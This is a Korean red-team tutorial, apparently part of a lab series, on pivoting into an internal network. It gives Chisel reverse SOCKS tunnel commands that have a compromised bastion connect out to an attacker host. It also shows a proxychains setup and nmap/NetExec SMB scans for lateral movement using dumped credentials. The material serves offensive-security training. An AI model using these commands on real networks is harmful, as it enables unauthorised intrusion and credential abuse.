레드팀
레드팀풀체인_03_내부망 이동
작성자 : Heehyeon Yoo|2025-12-24
# RedTeam# Pivoting# Tunneling# Chisel# Proxychains
1. 피버팅(Pivoting) 개요
피버팅은 공격자가 이미 장악한 시스템(예: Bastion Host)을 거점(Pivot Point)으로 삼아, 직접 접근할 수 없는 내부 네트워크(Internal Network)로 공격 범위를 확장하는 기술이다.
- 필요성: 외부에서는 내부망의 Private IP(예: 10.x.x.x, 192.168.x.x)에 직접 접속할 수 없다. 따라서 외부와 연결된 감염 시스템을 통해 트래픽을 중계(Relay)해야 한다.
- 주요 기법: 포트 포워딩(Port Forwarding), SOCKS 프록시(SOCKS Proxy), VPN 터널링.
2. 터널링 도구: Chisel
Chisel은 HTTP/HTTPS 프로토콜을 기반으로 하는 단일 실행 파일 형태의 빠른 TCP/UDP 터널링 도구이다. 방화벽 우회에 강력하며, Go 언어로 작성되어 다양한 OS에서 실행 가능하다.
2.1. Chisel 구성 요소
- Chisel Server(Attacker): 공격자의 시스템에서 실행되며, 연결을 기다리거나(Reverse) 연결을 받는다.
- Chisel Client(Victim): 감염된 내부 시스템(Bastion)에서 실행되며, 공격자 서버로 연결을 맺는다.
2.2. Reverse SOCKS Proxy 설정
가장 일반적인 시나리오로, 내부망의 Victim이 외부의 Attacker에게 접속하여 터널을 뚫는 Reverse Connection 방식이다.
1. 공격자(Attacker) 설정
# 8000번 포트로 리버스 연결을 대기하는 서버 실행
./chisel server -p 8000 --reverse
2. 피해자(Victim) 설정(Bastion Host)
# 공격자(1.2.3.4:8000)에게 연결하고, 로컬 포트를 SOCKS 프록시로 매핑
# R:socks => 원격(Attacker)의 1080 포트를 SOCKS5 프록시로 사용
./chisel client 1.2.3.4:8000 R:socks
이 설정이 완료되면, 공격자 PC의 1080 포트는 피해자 PC를 거쳐 내부망으로 나가는 게이트웨이 역할을 하게 된다.
3. Proxychains를 이용한 도구 연동
설정된 SOCKS 프록시를 통해 칼리 리눅스(Kali Linux)의 공격 도구들(Nmap, NetExec 등)이 내부망과 통신하도록 해준다.
3.1. Proxychains 설정
/etc/proxychains4.conf 파일 수정:
[ProxyList]
socks5 127.0.0.1 1080
3.2. 내부 정찰 및 측면 이동(Lateral Movement)
Proxychains를 붙여서 명령어를 실행하면, 모든 트래픽이 Chisel 터널을 타고 내부망으로 전달된다.
# 내부망(172.16.1.0/24) 스캔
proxychains nmap -sT -Pn -p 445 172.16.1.0/24
# NetExec을 이용한 내부망 SMB 스캔 및 계정 정보 확인
proxychains netexec smb 172.16.1.10 -u 'user' -p 'password' --shares
4. 실습 시나리오: 내부망 장악
- SSM을 통해 Bastion 장악: 초기 침투 단계에서 확보한 쉘을 이용해 Chisel Client를 업로드하고 실행한다.
- 터널링 연결: 공격자 서버와 연결되어 SOCKS 프록시가 활성화된다.
- 내부 AD 정찰:
172.16.1.x대역 스캔을 통해 도메인 컨트롤러(DC)와 다른 서버들을 식별한다. - 측면 이동(Lateral Movement):
- 덤프한 해시나 자격 증명을 이용해
JumpHost등의 다른 내부 서버로 이동한다. - 예:
mark-shawn사용자의 자격 증명을 이용해 로컬 관리자 권한 획득 시도.
- 덤프한 해시나 자격 증명을 이용해